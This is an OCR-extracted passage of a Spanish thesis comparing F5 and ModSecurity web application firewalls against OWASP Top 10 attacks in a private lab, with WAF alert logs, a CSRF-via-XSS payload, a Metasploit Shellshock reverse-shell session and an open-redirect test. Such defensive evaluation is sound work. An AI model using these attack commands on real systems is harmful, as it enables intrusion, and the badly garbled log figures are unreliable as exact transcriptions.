wlBEe 9 ¥

visitados F_!) IPS e Comenzar a usar Firefox F5 Bluecoat \‘?ﬁ WPNSSL Ann Meonitoreo Casos @' EPS Telefonica Certificacion @' Morse -

Checkpoint

Pag. BAC

T Vulnerability: Stored Cross Site Scripting (XSS)
Instructions

Mame * Cambio de clave
Setup

Cambio de clave desde aca

- http://192.168.10.11/DVWANulnerabilities
Brute Force 9 Jcsri?password_new=nuevo&password_conf=nuevol&
Command Execution Change=Change#
CSRF Sign Guestbook
Insecure CAPTCHA
File Inclusion |

Fuente: El autor

Al analizar el evento con el WAF de marca F5 se identificaron dos eventos, el
primero correspondiente a una inyeccion en las cabeceras del encabezado de
HTTP y segundo un intento de acceder a un archivo o ruta remota, tal como se
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aprecia en Figura 54. Lo cual indica que el equipo no permitiria ejecutar este tipo
de accion.

Figura 54- Deteccién CSRF en el WAF F5

Context Details for Attack Signature 200022016 [x]
Context Parameter (detected in POST Data)

Parameter Level Global

Wildcard Parameter Name *

Actual Parameter Name mtxhMessage

Parameter Value g:évo&;@%\.::%r;?zn%&cnanw::cnahnp:m 92 168.10.11/DVWANuInerabilities/csrif?password_news= .

Delected Keyword a] hitp:/1192.168.10.11/DVWANUInerabilities/csrii?password_new=nuevo&password_confa |
Signature Name Signature ID | Learn Alarm Block Details >
HTTP Headers Injection (5) 200018023 In Staging Since 2016-04-19 View defails... E
Generic Remote File/Path Include Attempt (7) 200022016 In Staging Since 2016-04-19 View details.. B
Violation ‘ Severity

I Attack signature detected Learn| Error
General Details

Requested URL HTTP] /DVWANUINnerabilities/xss_s/

Security Policy Politica_Seguridad_mutillidae

Support ID 11605471370070196738

Time 2016-04-21 18:50:49

Reguest Status I

Severity Error

Violation Rating 2 mm Request looks like a false positive but requires examination

Response Status Code 200

Aftack Types Abuse of Functionality

Username MNIA

ITa) coce1FINAYafh [Show ion Tracking deiailel

Fuente: El autor

La revisar en el WAF de ModSecurity, se observan 3 eventos el primero
correspondiente a un inclusion de archivos remota, el segundo relacionado con
una inyeccion de SQL detectada por el uso de la palabra “Change=Change” dentro
de la solicitud y el ultimo evento reportado es debido a que se exceden el numero
de maximo de caracteres dentro de la solicitud. En la Figura 55 se detallan los logs
del ModSecurity.

Figura 55- Deteccion CSRF en el WAF ModSecurity

[Tue May 24 01: 47:40. 759708 2016] [: erroq [pid 13344] [client 192.168.10.200] Modsecuruy w rning. Match of "rx A%{tx allowed_request_content_type}$” against "TX:0

reqmred [fﬂe ‘/etc/modsecurity/base_rules/ /modsecurity_crs_30_http_ olicy. conf ] [line [w "960010" J [rev "27] [msg ‘Request content type is not allowed by po\
{ [data "application/x-www-form-uriencoded"] {severuy "CRITICAL" S’ [ver "OwASP_CRS/2.2. 9 maturity “9"] [accuracy 9"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWE
D "WASCTC /WASC-20"] [(ag "OWASP_TOP_10/A1"] [tag "OwASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname “192.168.10.1"] [uri 7OVWA/vuTnerabilities/xss_s/ "] [unique_

Td" "vop DHBAAQEAADQQER
[Tue May 24 01 47 8 22936 2016) [: errar] [pid 13344] [client 192.168.10.200] ModSecurity: warning. Pattern match "A(?i)(?: htlf)tps" \ N d1,3}\\
“““““ - RGS :mtxMessage. [file "/etc/ modse(uruy base_rules/modsecurity_crs. 40_gener1c attacks. con “154"] [Id 950117 ] [rev ot 2
[data "matched pata: h .168.10.1 found within ARGS:mtxMessage: http://192.168.10. 1 A/ nerab1h /s rd
q 35swor agpassword. conf-passwords(hange-changen ] [severity "CRITICAL "] [ver “"OWASP_CRS/2.2.9"] [ma(ur‘l!y "9"] [ac(ura(y Y, ] [tag OwASP
hosmame 192 168.10.1" ] [urw "/DVWA/vulnerabilities/xss_s/"] [unique_id "VOPSDHBAAQEAADQGG6GGAAAAE"]

\w, \\\\d{1

A
-

{ [pi 13344] [client 192.168.10.200] ModSecur‘lty warmng pPattern match "(21:([\\\\s"\\ \xc2\\xb4\\xe2\\x80\ \x99 \xe2\

\\\\s NXEZ\\xbe \xez\ \)(80 \x99\\xe2\ \x80\ \x98\ W\)1%2) (2: (2:=|<=>Ir?Tike| soun s+1ike|regexp) ([\\\\s \

\ <I>, A AL _ARGS: mE XM, ile "/et dsecurity/base_t rules/modsecuruy
(id_" 950901 o | [rev 43 ] [msg ['sqL 1n ecr'lon At(ac SQL Tautolo tected. " "] [data "matched Data: Change=Change found

/192.168.10.1/DVWA/vulnerabilities/csrf/?passwol rdé&password_conf=passworddChange=Change#™"] [severi
3 9,.] Ema(urlty '9"] [accuracy "8"] [tag "OWASP. _CRS/ wEB_ATrAcK /sQL_: INJECTION"] [ng "WASCTC /WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "ow
& hostname 192 168. 10 1 ] [ur i “/OvwA/vulnerabilities/xss_s/"] [unique_id "vOPS JAAAAE
rrar] [p1 1 [ .10.200] ModSecurity: warning. Pattern match "

\\xc2\ AANxe2\\ x80\\

q ) [tg™" "981173" o | [rev v
rt - Total # of s pecial characters exceeded ] [data Matched Data: imrxMessage: http //192.168.10.1
dkhange-changew ] [ver "OWASP_CRS/2.2.9"] [ma(urny 9"] [accuracy "8"] [ug "OWASP. (RS/hEB_AYTACK/SQL INJECTION"] [ho
stname "192.168.10.1"] [uri "/DVWA/ vu\nerablhnes xss_s/"] [unique_id " "VOP SDHBAAQEAADQQERGAAAAI E£"]

ASP_Appsensor /CIE1"] [
gme bay 24 SLLLAELLLAL LA
WD 23,

Restricted SQL Character Anomaly Detection Ale

Fuente: El autor
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7.9. PRUEBA OWASP A9: VULNERABILDADES CONOCIDAS

El punto A9 de OWASP conocida como uso de componentes con vulnerabilidades,
hace referencia a esa fallas de seguridad con las que cuenta bien sea: el sistema
operativo, base de datos, lenguaje de programacion o servidor web, de las cuales
el atacante puede sacar ventaja si llegan a ser explotadas con éxito. Para la
prueba se realiza la ejecucion de vulnerabilidad llamada ShellShock, mediante la
herramienta metaexploit en KaliLinux y el objetivo es identificar si el vector de este
ataque es identificado por el WAF. En la Figura 56 se muestran los comandos
empleados desde el equipo kalilinux para ejecutar el ShellShock con metaexploit.

ShellShock, es una vulnerabilidad conocida como GNU Bash Remote Code
Execution Vulnerability (CVE-2014-6271), es catalogada como grave y al tener
una ejecucion exitosa de esta vulnerabilidad se obtiene control remoto de un
ordenador. El problema con la vulnerabilidad se debe a que Bash permite declarar
funciones pero estas no se validan de forma correcta al momento de almacenar
las variables?.

Figura 56- A9 Uso de componentes con vulnerabilidades conocidas

msf = use exploit/multi/ htt fa ache_mod_cgi_bash_env_exec

mst exploit{apache mod_cgi env_exec) > set rhost 192.168.10.10
rhost —> 192_16E8.10.10

ms exp1o1t(apache_nod_cg1_hash_env exec) > set lThost 192.168.20.20
Thost == 192.1&8.20.20

msf exploit(apache _mod cqgi_bash _env_exec) > set rport B0

rport => 80

msf exploit(apache _mod_cgi_bash env_exec)
PAYLOAD => linux/x86/shell /rTeverse_tcp
msf exploit(apache _mod_cgi_bash env_exec)
CMD_MAX_LENGTH == 2048

msf exploit(apache mod_cgi_bash env_exec)
HEADER => User-Agent

msf exploit(apache mod_cgi_bash env_exec)
METHOD => GET

msf exp1o1t(apache_nod_cg1_hash_env exac)
RPATH => /bin

msf exploit(apache_mod_cgi_bash_enmv_exec) > set TARGETURI /Jcgi-bin/test.cgi
TARGETURI => ,/Jcgi-bin/stest.cgi

msf exploit{apache mod_cgi_bash _env_exec) = exploit

set PAYLOaAD Tinux/x86/shell /reverse_tcp

set CMD_MAX_LENGTH 2048
set HEADER User-Aagent

set METHOD GET

¥ ¥V ¥ v v

set RPATH /Sbin

[*] started rewverse TCP handler on 192.168.20.20:65000
[*] command Stager progress — 100.60% done (8378322 bytes)
[*] Exploit completed, but no session was created.

Fuente: El autor

Al realizar la inspeccion del evento sobre el WAF de marca F5, en la Figura 57 se
puede observar que varias firmas de ataques se han detectado por el WAF
incluyendo la nombrada como Shellshock, lo cual nos permite identificar que este
dispositivo cuenta con firmas preconfiguradas de vulnerabilidades conocidas y de
esta forma se previenen este tipo de ataques.

24 #Shellshock, la grave vulnerabilidad en Bash -y todo lo que debes saber [en linea)].<
http://www.welivesecurity.com/la-es/2014/09/26/shellshock-grave-vulnerabilidad-bash/ > [citado en
29 de mayo de 2016].
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http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271

Figura 57- Deteccién de Shellshock en el WAF F5

Context

Detected Keyword

‘Context Details for Attack Signa

Request

0]192.168.10.10[oxd[oxa]User-Agent 0x20] ([ox20][6x20] ;e cho[axzal-exz0] win]EqUQCoS (AmplAled: ) EqU o
u [0xa|Content-Typefox2 appllcatlon.#x wwnW-orm-urlenc

Host{oxz0]
QC o oxd]

Signature Name

‘ Signature |D ‘ Learn |Alarm ‘ Block | Details

Suspicious “testtesting” file access
Bash Shellshock execution attempt (Header)

‘echo” execution attempt (Header)

200000063 In Staging Since 2016-04-19 View details...
200003166 In Staging Since 2016-04-19 View details...
200003225 In Staging Since 2016-04-19 View details

TVIFIEEon

| Seve IIF[

| I Attack signature detectad

Learn| Error

General Details
Requested URL

[HTTP] /cgi-binftest.cgi

Security Policy Politica_Seguridad_mutillidae
Support ID 11605471370070198660
Time 2018-04-26 18:37:36
Request Status L

Severity Informational

Violation Rating 4 wmmm  Requestlooks like a threat but requires examination

Response Status Code 404
Attack Types MN/A
Username N/A

Session ID c0957d21dd499158 [Show Session Tracking details]

[ 192.168.20.20:46755 |Add IP Address Exceplion

Source IP Address

Fuente: El autor

Al realizar las pruebas del vector de ataque ShellShock sobre el WAF de
ModSecurity, solo se detecta un evento relacionado con la falta de un “accept” en
el encabezado http, sin embargo no se observa nada relacionado con la firma de
ShellShock.

Figura 58- Detecmon de Shellshock en el WAF ModSecurlty

i Wy 5 43 08 ] 0 590 i 1006 ]mmﬁ ”T“c1MHMmMWM
NWWMWWSMMMWMMIM"NW 015') rev "1") o [MwMHNWM(S
]mmmmﬁmmmwmmwmw- Pt TOJ0/AT"] [tag ct/6.5.00° o

ﬁml ]W1ummmeﬂMmm T3AEMOQRAS AN

[ bay 29 ]MWUMMcmul ]mwwmwwmwmmwummmmhhammmb

mmmemwm orotocol_anona s, conf”] {Tine "4 ]["IHUWHHMTwmmmmmmumnﬂbmunE]Mrw J(§
]mw]WuHMwmmm mwmmeMmewmwml]u

ﬁm HW%Wme mmeM'M&mmwﬂ

Fuente: El autor
7.10. PRUEBA OWASP A10: REDIRECCIONES Y REENVIOS

La vulnerabilidad A10 de OWASP trata el tema de las redirecciones y reenvios no
validos, generalmente empleado en temas de phishing donde un usuario es
redireccionado de un portal no confiable a uno confiable esto para hacer creer al
usuario en la etapa final de ataque que se encontraba en el portal confiable. En el
portal de Mutillidae el reto es modificar las redirecciones establecidas en el portal,
en la Figura 59 se muestra la pagina definida para este reto.
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Figura 59- A10 Redirecciones y reenvios no validos

= i 192.168.10.11/mutillidae/index.php?page=credits.php

|£h Mas wvisitados @ IPS ‘ Comenzar a usar Firefox | Checkpeoint |1 F5 | Pag. BAC | I Bluecoat @ VPMSSL | h A8

@« OWASP Mutillidae II: W,

Version: 2.6.36 Security Level: 0 (Hosed) Hin

Home Login/Register Toggle Hints Hide Popup Hints Toggle S

:
) mex @ e e
| Hints and Videos
m Developed by Jeremy "webpwnized" Druin. Based on Mutill
i OWASP
D tat 2
Helpful Firefox Add-Ons

Fuente: El autor

Mediante la ayuda del complemento de firebug del navegador Firefox se permite
analizar el codigo html de un sitio, para este caso en la Figura 60 se resalta la
configuracion hecha para redireccionar el sitio de Mutillidae hacia el portal de
OWASP (http://www.owasp.org) mediante la instruccién href, con esta informacién
se podréa configurar la redireccion hacia el que se desee.

Figura 60- Identificacion de la redireccion
this.style.color="§U0U0000" ;" onmousecover="this.style.backgroundlolor="§ccoooe’y

window.document . getElementById | 'idHintWrapperHeaderImage'));™ title="Click to open this section"r
<div id="idHintWrapperBody" class="hint-wrapper-body" style="display: none;"¥
<div clags="lzhel">

<divr </divr

[ <div class="lzbel" arbitraryredirectionpoint="1"»

<a href="index.php?page=redirectandlog.phpéforwardurl=http://www.owasp.org"» OWASP</a>
</divr

<div class="lshel" arbitraryredirectionpoint="1" title="See if & URL can be injected in place of the intended URL"3

<div class="lzbel" arbitraryredirectionpoint="1" title="8ee if & URL can be injected in place of the intended TRL"J

Fuente: El autor

Finalmente, para ejecutar la redireccion se hara uso de la sintaxis identificada
mediante el firebug y se copia esta informacion sobre la URL, tipicamente las
redirecciones son realizadas sobre el cédigo html sin embargo en esta ocasién no
se modificara este codigo y si la informacion que ingresamos sobre la URL. En la
Figura 61 se detalla la redireccion hecha hacia la IP 192.168.10.10.

87



Figura 61- Redireccion en la URL

e = =

€ 9 C A [)192168.10.10/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://192.168.10.10/
i Aplicaciones (] Checkpoint ¢ Bookmarks 1P (IF (7 Pag BAC (] Bluecoat QVPNSSL (] AMA (] Monitoreo (] Casos |Fj ERS (] Telefonica

Q}é OWASP Mutillidae II: Web Pwn in Mass Proc

Version: 2.6.37  Security Level: 0 (Hosed) Hints: Enabled (1 - Seript K1dd1e) Logged In Adm
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Fuente: El autor

Al realizar la revisiéon de la redireccién en el WAF de marca F5, se observa que el
evento no generd una alerta en el dispositivo, sin embargo el WAF F5 permite
analizar todas las solicitudes que son hechas por los usuarios y en la Figura 62 se
puede observar como la redireccion paso a través del WAF.

Figura 62- Analisis de la redireccion en el WAF F5

HTTP Request

GET/HTTPM 1

Host: 192.168.10.10

Connection: keep-alive

Accept: texthtml applicationfxhtml+xml,applicationfxml;g=0.9,image/webp,**,q=0.2

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOWG4) AppleWebKit'537 .36 (KHTNL, like Gecko) Chrome/49.0.2623. 112 Safari/s37.36

Referer: hitp//192 168 .10 10/mutillidaefindex php?page=redirectandlog php&forwardurl=http: /192 168.10.10/

Accept-Encoding: gzip, deflate, sdch

Accept-Language: es-419,e5;q=0.8

Cookie: PHPEESSID=aatvoBk3ZInereum12m469tab2; TS0137684c_28=01179ee841b21db530ac91d327a44090330c122ac8fefl32cef20c03447 dd 942050

General Details

Requested URL HTTP] /

Security Policy Politica_Seguridad_mutillidae
Support D 11605471370070383162
Time 2016-05-02 20:10:35
Request Status "

Severity Informational

Violation Rating Mot rated

Response Status Code 302

Attack Types MIA

Username MN/A

Session ID 4d75517953b0262c [Show Session Tracking details]

[ 192 168.20.10:52346 |Add IP Address Exception

Source IP Address
IP Address Intelligence: N/A_[IP Address Intelligence last updated: N/A]

Fuente: El autor
Al analizar la misma redireccion con el WAF ModSecurity, como se observa en la

Figura 63 se evidencia que el evento es detectado como una posible inclusion
remota de archivos con una referenciacion fuera del dominio. Indicando este
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evento que cada vez que se presente redirecciones a un dominio diferente al
dominio del servidor una alerta sera generada.

Figura 63- Andlisis de la redireccion en el WAF ModSecurity

lied Nay R 8351 2016) [error] [p1d13341] [chent 192 16,10, 2001 vodsecur

[wed Nay 25 02 A 04 2 6839 2016] [error] [prd 15391] [chent 192 168.10. 200] vodS?currty narmng Match"of begmsmh orrequest headers.host}" against "TX:1" requi

d{l,i;) at AR 3 0

ata 08 il o8
cr]zs 2 2 9] [maturrty "9"] [accuracy "9"] [tag ' owASP CRS nEB ATTACK/RFI"] [hostname " 192 168 10 1% [urr munlhdae index.php"] [unique_id "VOVUNXBAAQEAADQIRABAAAAB

1d 15391] [chent 192 168 10 200] NodSeturrty narmng Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/mod

ty narmng pattern match "M

[rev"3"] [nsg "Possible Remote File Inclusion (RFI) Attac
" )| (severity "CRITICAL"] [ver "OASP_CRS/2.2.9"] [maturity "9"
nique_id" "VOVUUHBAAQEAADWT SMWAAAAH" ]

und Anonaly score Exceeded (Total Inbound Score: §, SQLi=0, XSS=0): Possi
1l [uri "/mutillidae index, ph "] [unique_id ' VOVUuHBAAQEAAMMAAAAH ]

§(7 the[F)eps? \WWVANV (WL, 3P W
acks. conf'] [hne 154" ] [1d 95011, ] [rev 2
| [se»eruy '(RITICAL"] [ver "OWASP_

Fuente: El autor

7.11. CUADRO COMPARATIVO DE LAS PRUEBAS EJECUTADAS

A continuacién se presenta cuadro resumen con las pruebas ejecutadas sobre el
WAF de la marca F5 y ModSecurity frente al Top 10 de OWASP.

Tabla 2- Tabla comparativa de resultados

%ITI\L/JESS\ WAF marca F5 WAF marca ModSecurity
Al Se detecta la inyeccion de SQL. |Se detecta la inyeccion de SQL
Se detecta uso de aplicacion de | Se detecta la ejecucién de intento de
la herramienta Hydra. fuerza bruta y del uso herramienta
A2 Hydra.
A3 Se detecta XSS Se detecta XSS
Se detecta ataque de directorio | Se detectan caracteres andmalos,
transversal. pero no relaciona el vector de
A4 ataque empleado.
Se detecta acceso a rutas|Se detecta intento de acceso a
reservadas, no se detecta el|archivos y divulgacién de
A5 barrido en la URL. informacion.
A6 Se detecta Fingerpinrt Se detecta Fingerpinrt
El WAF permite controlar acceso | EI WAF permite controlar acceso a
A7 a la paginas de configuracion la paginas de configuracion
Se detecta un acceso a un|Se detecta una acceso a un archivo
A8 archivo remoto remoto
Se detecta el vector de ataque | No fue detectado el vector de ataque
A9 de Shellshock de ShellShock
La redireccion sobre la URL no|Se detecta una redireccion fuera del
fue catalogado como un evento |dominio de la pagina.
Al10 anomalo

Fuente: El autor
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El WAF es un dispositivo que basa su funcionamiento en firmas para la deteccion
de ataques, esto teniendo en cuenta la informacién que es enviada y/o recibida
por el servidor web. Al realizar los ataques hacia el servidor web se evidenciaba
que diferentes firmas eran activadas por el WAF, lo cual indicaba que un evento
anomalo estaba sucediendo. En la Figura 64, se muestran el nimero de firmas
que fueron activadas posteriormente a cada ataque, y se observa que el WAF de
ModSecurity registraba mas alertas comparado con F5. Esto se puede explicar en
que los umbrales que se establecieron para F5 durante la configuracion inicial
estaban enfocados a generar un menor numero de falsos positivos; mientras que
las configuraciones por defecto que trae ModSecurity no permiten ese tipo de
personalizacion en su parametrizacion, haciendo que este WAF sea mas sensible
y los ajustes de umbrales queden a cargo del administrador.

Figura 64- Firmas Activadas por el WAF

Firmas Activadas

Al A2 A3 A4 A5 A6 A8 A9 Al10

B F5-ASM ® ModSecurity

Fuente: El autor

La efectividad en la deteccion del tipo de ataque que se estaba ejecutado sobre el
WAF fue otro aspecto evaluado durante el proyecto, esto dado que en ocasiones
los eventos y alertas que generaba cada uno de los WAF permitian tener una
mayor claridad del evento que estaba ocurriendo. En la Figura 65, se evalud la
efectividad en la deteccibn de cada una de las pruebas realizadas en los
dispositivos, donde se observar que la tasa de efectividad para ambas marcas fue
alta, con un resultado promedio de 89% para ModSecurity y 91% para F5.
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Figura 65- Efectividad del WAF en la deteccién de atagues

Efectividad en deteccion

100%
80%
60%
40%
20%

0%
Al A2 A3 A4 A5 A6 A7 A8 A9 A10 Total

B F5-ASM ® ModSecurity

Fuente: El autor
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8. CONCLUSIONES

Las funcionalidades de seguridad soportadas por ambos dispositivos presentan un
alto nivel de confiabilidad, sin embargo el firewall comercial de la marca F5
presenta un mejor desempefio en el reconocimiento de nuevos vectores de
ataques tal como pasé con la firma de ShellShock, pero ModSecurity present6 un
mayor indice de alertas frente a las pruebas realizadas en laboratorio lo cual
permitid identificar un mayor nimero de eventos andémalos.

Referente a la consola de administracién el WAF de marca F5 presenta un mejor
de desempefio al permitir analizar los eventos de una forma mas intuitiva a través
de su portal web, por su parte el WAF ModSecuriity exige un mayor trabajo para el
analisis de los eventos puesto que su administracion es mediante una interfaz de
linea de comando.

La versatilidad de ModSecurity para el desarrollo de nuevas reglas de seguridad
es una ventaja frente al WAF F5 y esto es ligado a su caracter de ser un cédigo de
programacion abierto, sin embargo F5 también permite generar diferentes tipos de
restriccion de acuerdo a la informacion que pueda ingresar el usuario como: URL,
parametros, IP, entre otros, pero no permitiria desarrollar una firma para un ataque
de dia cero.

Una desventaja de ModSecurity frente a F5 y a la mayoria de firewall comerciales,
es la imposibilidad de manejar un método de aprendizaje automatico, lo cual en un
ambiente productivo permite reducir el nimero de falsos positivos puesto que el
WAF identificard esos anOmalos que son reiterativos y que son hechos por
diferentes tipos de usuarios para clasificarlos como confiables o sugerir al
administrador un revision de los eventos.

El esquema de proxy reverso se sugiere como la implementacion con mayor
escalabilidad en cuanto se disponga de un gran numero de servidores web para
proteger, ademas este tipo de solucion se acopla bien con soluciones que
requieren realizar balanceo de carga.
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9. RESULTADOS E IMPACTOS DEL PROYECTO

Las pruebas ejecutadas dentro de este trabajo de grado evaluaron el
comportamiento del WAF con respecto a las 10 principales vulnerabilidades
reportadas por OWASP en el 2013 lo que permitio identificar que el WAF presenta
una tasa mayor del 70% de deteccion de los ataques ejecutados, mientras que el
30% restante pudo ser mitigado mediante la parametrizacion de nuevas variables
en el WAF.

Otro de los aspectos importantes del estudio fue la capacidad de reaccién que
tenian los WAF frente a nuevas vulnerabilidades o ataques de dia cero, y referente
a este aspecto se encontr6 que el WAF de libre distribucion no presentd el
comportamiento adecuado a diferencia del WAF de marca F5 que si pudo
identificar el vector de ataque, y esta diferencia puede estar involucrada con el
hecho de que las firmas de ataques de ModSecurity no tienen una base de datos
gue le permita estar ejecutando actualizaciones.

Este tipo de proyectos tiene impacto en todas las organizaciones o personas que
tienen portal web y que a partir de éste generan movimientos transaccionales y/o
custodian informacién sensible, ya que como es de demostracién en este proyecto
se evidencia que las fallas de seguridad de un portal web podrian permitir a un
atacante: realizar acceso no autorizados, o modificar o alterar la informacién que
alli esta almacenada. Es por este motivo que un WAF es un dispositivo que debe
estar presente dentro de una infraestructura tecnoldgica donde se quiere brindar
un mayor nivel de seguridad y se deseen minimizar los riesgos ante un ataque
informético.
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10. DIVULGACION DEL PROYECTO

La divulgacion del proyecto se hara mediante la publicacion del trabajo de grado
en la biblioteca de la UNAD.
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ANEXOS

ANEXO A. RESUMEN ANALITICO RAE

Titulo de Documento.
ANALISIS COMPARATIVO DE UN
FIREWALL DE APLICACIONES WEB
COMERCIAL Y UN OPEN SOURCE
FRENTE AL TOP 10 DE OWASP

Autor
PIEDRAHITA VILLARRAGA EIlkin
Mauricio

Palabras Claves
Vulnerabilidades Web, Firewall de
aplicaciéon web, OWASP

Descripcion

Hace referencia al tipo de documento es una monografia, investigacion, proyecto
aplicado. Igualmente con qué objetivo se realizé el documento.

Fuentes Bibliograficas Varén, A. A. R., Mufioz, C. A. B., Sanchez, R.
M., Moreno, A. G., Nava, J. M. G., & TOME, A.
G. (2014). Hacking y seguridad de péaginas
Web. Paracuellos de Jarama, Madrid: RA-MA
S.A. Editorial y Publicaciones

Desarrollar una aplicacion web podria conllevar un gran ndmero de riesgos
informaticos inherentes, existen diferentes tipos de técnicas que han sido
utilizadas para tomar provecho de este tipo de aplicaciones algunas de las mas
conocidas se pueden encontrar en el top OWASP 10, sin embargo dia a dia
nuevas vulnerabilidades son encontradas y la posibilidad que un riesgo se
materialicé es cada vez mayor. Por esta razon, las empresas que hacen uso de
este tipo de aplicaciones deben tomar conciencia de las vulnerabilidades a las
gue pueden estar expuestos y establecer algun tipo de control que permita
disminuir los riesgos.

Los controles que se pueden llevar a cabo en una aplicacion web son dos, el
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primero es realizar una auditoria periddica donde se hace una revision del codigo
y se ejecutan pruebas de sombrero blanco con el fin de encontrar algun tipo de
vulnerabilidad, la segunda es implementar un firewall de aplicacion web. Cada
control ofrece sus ventajas y desventajas, y en el mejor de los casos lo ideal seria
disponer de ambos, si bien la auditoria permitiria generar codigo mas robusto
habria una brecha de seguridad en el lapso que una nueva vulnerabilidad sea
encontrada hasta el momento en que la auditoria sea realizada. Asi que disponer
de un WAF que esté en todo momento revisando las peticiones de los usuarios
podria incrementar el nivel de seguridad.

Ahora la pregunta seria, ¢ Qué nivel de seguridad y confiabilidad ofrece un WAF?,
histéricamente los WAF empezaron a ganar popularidad luego que en el Consejo
de Estandares de Seguridad (PCI-DSS) exigieran a las entidades emisoras de
tarjetas de crédito realizar controles sobre las aplicaciones web bien sea por
revision del codigo o mediante un WAF. Hoy en dia existen diferentes fabricantes
dedicados al desarrollo de WAF y analizando lenguajes de programacion tales
como HTML, HTTPS, SOAP and XML-RPC, ademas permiten prevenir ataques
como XSS, inyecciones de SQL, secuestro de sesion, desbordamiento de buffer,
ataques de dia cero entre otros. Asi que con base en la anterior los WAF hoy en
dia tienen una gran reputacion y ofrecen un alto nivel de seguridad.

Teniendo en cuenta que existen tantas marcas de WAF asi como beneficios a
nivel seguridad, este proyecto se enfocd en evaluar las diferencias que podrian
existir entre un WAF comercial frente a uno de libre de distribucion, esta
comparacion se hizo con base en el Top 10 de OWASP donde cada una de las
vulnerabilidades fue probada en cada uno de los WAF. La implementacion del
esquema de pruebas requiri6 que el WAF operara en un modo de proxy reverso
de esta forma el servidor web no sufrié ningun tipo de alteracion durante el
desarrollo del proyecto y asi garantizar unas pruebas ecuanimes.

Los resultados obtenidos de la prueba han permitido evidenciar que el WAF de
marca F5 dispone una plantilla de gran cantidad lenguajes de programacion web
gue permiten implementar reglas tan granulares tanto como se especifiquen por
el administrador, ademas dispone un consola de administracion web amigable
que permite identificar de forma facil el ataque o informacion anémala detectada,
también se observa que la herramienta dispone de esquema de aprendizaje el
cual permite notificar al WAF eventos como falso positivos y aceptar parametros
gue en un principio son marcados como andémalos y lo cual es modelo de
seguridad positivo permitiendo tener una mayor escalabilidad. Por su parte
Modsecurity ofrece una gran versatilidad para el desarrollo de nuevas firmas de
ataques, su consola de administracion es a través de linea de comando, y el nivel
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de seguridad que se ofrece es igual al proporcionado por WAF de marca F5 con
base en las pruebas realizadas en este proyecto, las cuales no involucrando
técnicas avanzadas de ataques web. Asi que los niveles de seguridad brindados
por el WAF comercial como el de libre distribucion estan iguales, sin embargo las
diferencias radican en las funcionalidades que ofrece el WAF comercial que
permite una mayor escalabilidad y mejor modelo de implementacion.

Metodologia

Inicialmente, se realizé un andlisis tedrico de las funcionalidades que brinda un
WAF, asi como su modo de operacion. Luego fue necesario identificar las marcas
de los WAF que se utilizarian para realizar las pruebas. Con base en lo anterior
se plante6 una topologia pruebas la cual deberia ser igual para ambos
dispositivos tanto el comercial como el de libre distribucion.

Posteriormente, fue necesario identificar un portal web con vulnerabilidades y
revisar como y mediante que herramientas se podian llevar a cabo la explotacion
de las mismas. Para esto se encontré el portal de pruebas llamado Mutillidae y
mediante el sistema operativo Kali Linux se dispuso de las herramientas
necesarias realizar la explotacion de las vulnerabilidades.

Finalmente, se realiza un revisién en cada uno de los WAF y se analizan los logs
obtenidos en cada dispositivo luego de generar cada uno de los ataques, y de
esta forma se puede evidenciar si el dispositivo cumplié o no con la proteccién de
los portales web.

Conclusiones

A nivel de seguridad y con base en las pruebas realizadas en este proyecto tanto
el firewall de aplicaciones web comercial como el de libre de distribucion son
idoneos para ser implementados en un esquema productivo.

Recomendaciones.

Existen diferentes tipos de atagues Web con complejidades bajas y altas, y una
sola de las vulnerabilidades web listadas en el Top 10 de OWASP desprende una
gran variedad de pruebas generando un documento tan extenso como pruebas se
quieran. Por lo que si se desea realizar un analisis de seguridad mas exhaustivo
seria necesario enfocarse en un tipo de vulnerabilidad y aplicar técnicas mas
avanzadas de atagues que las empleadas en este proyecto.
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